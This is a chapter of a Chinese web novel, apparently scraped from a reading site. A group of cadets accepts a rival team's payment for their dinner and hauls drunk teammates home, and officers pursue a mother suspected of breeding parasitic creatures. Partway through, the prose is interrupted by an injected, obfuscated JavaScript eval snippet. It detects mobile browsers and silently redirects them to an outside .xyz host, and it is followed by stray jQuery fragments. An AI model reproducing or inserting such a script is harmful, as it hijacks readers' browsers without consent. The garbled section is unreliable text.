天边泛起光亮,几人终于玩够了准备回去。
“不用,有人替你们结账了。”老板指着齐仰那桌,他们还没走,像是在玩什么游戏:“说是你们这桌的账单都算他们的。”
还清醒的三人互相对视。
“老板,再打包几个菜。”施涟说完扭过头:“看我干嘛,带回去让大家都试试。”
莉莉安会意瞬间屈服:“我再带瓶喝的。”
顾长夜欲言又止,对上施涟眼睛,又将话全憋回去了。
“知道你有钱。”施涟语重心长:“但是花别人钱感觉完全不一样。”
“你家里人赚钱容易吗,运一趟船多危险。”
“而且他们是看在东海基地的面子,才会替我们付钱。”
既然如此,便把东海基地所有人都请了。
何况他们被人当猴看了一晚,收点门票钱也不算过分。
“你说的……对。”顾长夜动摇了。
于是几人提着几袋打包盒,大摇大摆地走出饭馆。
“要不去感谢下人家。”莉莉安提议说,吃了这么多不打招呼就走,她挺不好意思的。
顾长夜在好与不好中来回纠结,去了他心中有愧,不好意思说话,不去又显得没有礼貌。
施涟已经带头走过去。
“你们好。”齐仰余光瞥见,脸上带着标准的微笑:“是有什么事要帮忙吗?”
“你们也太客气了。”施涟故作无奈:“怎么好意思让你们付钱。”
她说着,打开终端要对方收款码:“来,我转给你。”
“不用,一顿饭而已。”安思枫走过来,脸颊凹出酒窝,她一把捂住施涟的终端:“我们是东道主,这是应该的。”
施涟顺势收回手:“既然都这么说,那便却之不恭了。”
“哪里的话,希望你们在北海玩得愉快。”齐仰热情地介绍了几个地方,推荐他们去玩。
“我对北海基地印象非常不错。”施涟说得情真意切,她刚落地不到一天就天降横财,还有人请客吃饭,感叹道:“真是个好地方。”
“是吗?”安思枫很高兴。
又扯了几句客套话,双方融洽地告别。
“希望能在赛场上遇到你们。”
施涟一点头:“当然。”
她转身,顾长夜和莉莉安自始至终没有插话的机会,眼神复杂地看着施涟。
“我以前怎么没发现。”莉莉安发觉自己对施涟的了解还是太少了。
顾长夜附和道:“我也是。”
“那不是没场合发挥吗?”施涟耸肩,她只是本性暴露而已。
“他们两个怎么办?”施涟望向坐在街角,醉的一塌糊涂的费茂和季沢,两人昏睡过去,嘴里含糊,不知道在嘟囔什么。
莉莉安率先放弃:“我拖不动。”
北海基地也是使用公共飞车,但现在距离飞车站点还有一段路程。
两个人加起来超过三百斤的体重,他们三个人加起来,都不一定能扛得动。
“把他们丢这好了。”莉莉安撇嘴说:“谁让他们要喝这么多。”
“被人看到不好。”顾长夜示意周围还有北海的预备役,若是抛弃队友之类的名声传出去,难免惹人议论。
“真是!”莉莉安蹲下身,打开摄像头,对着两个人一通拍:“我要做成表情包。”
施涟想到可以用冰魄剑将人运回去,但周围都是人,未免太过招摇,符耿也交代过不要轻易使用。
让她背回去倒也不是不行,只是姿势难看些。
她尝试着提住费茂腰间佩带,布条还算结实,能承受得住重量,将人往上一抛,扛在自己肩膀。
比冰魄剑轻点,施涟没什么感觉。
“你,这……”莉莉安看傻了。
费茂身高超过一米九,身体肌肉密度又大,体重绝对超过两百斤。
施涟甚至还掂了掂重量,费茂像只巨型鸡崽,毫无反抗能力。
“别晃,要吐了。”费茂神志不清地掀开眼皮,他头朝下晕的厉害。
“敢吐把你丢这。”施涟示意顾长夜:“季沢交给你了。”
只背一个人,顾长夜还是能做到的。
“习惯就好。”顾长夜将季沢背在身上对莉莉安说,一副习以为常的模样。
现在施涟做什么事,他都不会再惊讶了。
等他们坐上公共飞车,回到分配的宿舍,已经接近中午。
宿舍是独栋小楼,有四层,一层是公共活动区域,二层则是会议室办公室,再往上都是住房,邻着便是北海基地预备役的住处,只隔了一道铁栅栏。
内部半新不旧,但该有的东西都配备齐全,像是被人布置过,看起来有几分温馨。
迎面撞上面色不善的符耿,几人脚步一顿。
“上哪鬼混了?施涟这是什么……”他视线在费茂硕大身形上停了许久,觉得自己可能还没睡醒。
施涟回答说:“是费茂。”
“我知道是他。”符耿眉头紧锁:“我是问……算了不重要,你记得每天去抽血检查。”
“是!”
他又交代几句,想起自己还有事,便把他们放走了。
符耿回到自己二楼临时办公室,万辽已经等在那了。
“少将。”万辽和符耿军阶差一级,但特殊部队队员的身份补上了这层,说起话来也不客气:“有消息了?”
符耿坐下,打开终端开启全息模式。
“基地进行排查,抓到了几只老鼠。”符耿挑出几张照片:“想不到东海也混进海神会的人了。”
最上方照片是一个长相普通的女人,头发半白,脸上纹路明显,眼中无神,看不出有什么奇特之处。
“她叫方荀,是方海智的母亲,初步推断,方海智身上的神子,就是她种下的。”
万辽摸着下巴:“有什么证据?”
往自己儿子身上放这种东西,大多数母亲做不到。
符耿指着下边另一张图,似乎是在某个房间的角落,摆着好几个金属箱。
“方荀在养神子。”
“她平时在海怪处理厂上班,负责登记海怪每天出入库情况,一开始我们也只是让人去问问方海智的情况,没想别的。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454183|166175||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
调查员敲响了方荀家的门。
“你说海智?他不是出海了吗?”方荀一脸疑惑,旋即意识到了什么,猛地攥紧调查员胳膊摇晃:“是不是海智出事了,他现在怎么样?”
女人语气焦急,调查员手腕被她扣得生疼,陪着笑说:“不是,您别着急,只是例行家庭情况访问。”
海员常年在海上航行,基地会时常派人询问海员的家人是否需要帮助,以解决船员们的后顾之忧。
在这之前确实有人来过几次,方荀没察觉异样,她松了口气放开手:“这样啊,我一切都正常,没有需要的。”
“那太好了,不过我还有些问题想问您,方便进屋说吗?”调查员微笑着,他想问清方海智最近是否有什么异常。
“现在?”方荀怔了怔:“这……你进来吧。”
屋子不大,两室一厅,刚好够母子两人居住,布置得很温馨,厨房里烧着东西,飘出食物的香气。
调查员坐在椅子上:“方海智最近怎么样,有没有异常的地方?”
“没有。”方荀去厨房关了火,将手上水渍随手擦在衣服上:“海智和平时一样,出几个月海,再回来住一个月。”
“他膝盖还好吗?”调查员关切地问:“听说他时常疼得厉害。”
方荀叹了口气:“老毛病了,我叫他别干了,在基地找别的工作,他就是不听。”
“海上多危险啊,我每天提心吊胆的,一年也见不到他几天,没办法,孩子大了,我怎么说他都不会听。”
方荀是知道方海智关节不行,方海智既然和宋筱请假了,为什么没有跟母亲说?
难道他不打算待在家里陪母亲吗?
调查员留了个心眼,继续问:“他有结婚的打算吗?”
“结婚?我当然是希望的。”方荀笑起来:“这年头能养活自己就不错了,我也不敢奢求太多。”
“您说的是。”调查员赞同地点头:“诶方便让我去个洗手间吗,我有点……”
他一脸难耐,有些不好意思。
“在厨房旁边。”方荀指了下位置。
她的视线一直没有从调查员身上移开,直到对方关上门,她才站起身,走到自己房间前。
角落里传出窸窣声,方荀皱起眉头。
她轻手轻脚地关上门,转过头,她了调查员的眼睛。
“你,还挺快。”她干巴巴地憋出几个字
刚进去不到半分钟就出来了。
“干我们这行的,必须要快。”调查员无奈摇头:“您在看什么呢?”
“没事,这不是怕味道飘进房间。”方荀转过话题:“您都问完了吧?”
“还有几个。”调查员走至方荀身边,视线下移,看向她仍紧握门把的手:“方便的话,我想进去看看。”
“看什么?”方荀不悦地说:“你没这权利吧?”
“你到底是来做什么的?张口闭口打探海智,现在又想随便参观别人住处,你真的是基地派来的吗?”
她环顾四周,找到一根扫帚,警惕地盯着调查员。
“马上滚出去!”